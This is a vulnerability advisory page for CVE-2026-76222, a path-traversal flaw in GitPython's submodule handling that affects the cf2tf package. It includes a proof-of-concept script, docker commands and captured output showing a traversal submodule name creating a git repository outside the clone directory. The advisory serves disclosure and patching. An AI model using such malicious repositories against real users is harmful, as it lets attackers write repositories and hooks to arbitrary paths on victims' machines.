Skip to main content
CVE-2026-76222VulnerabilityPublished Updated

cf2tf · GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in

Affects cf2tfSource GCVE Database

0

Mentioned vulnerabilities

Authoritative record:CVE-2026-76222· High 8.4

Not known to be exploited · CVSS 8.4 High : upgrade to 0.9.2_8 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score
8.4High
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.4% chance of exploitation in 30 days – higher than 36% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 0.9.2_8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 19 Aug 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade cf2tf to 0.9.2_8.

Affected software

ProductAffectedFixed in
Homebrewcf2tfpkg:brew/cf2tfOther threatsAffected
  • >=0.6.1 <0.9.2_8
Fixed in
  • 0.9.2_8

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule

References

Community reviews

Loading reviews…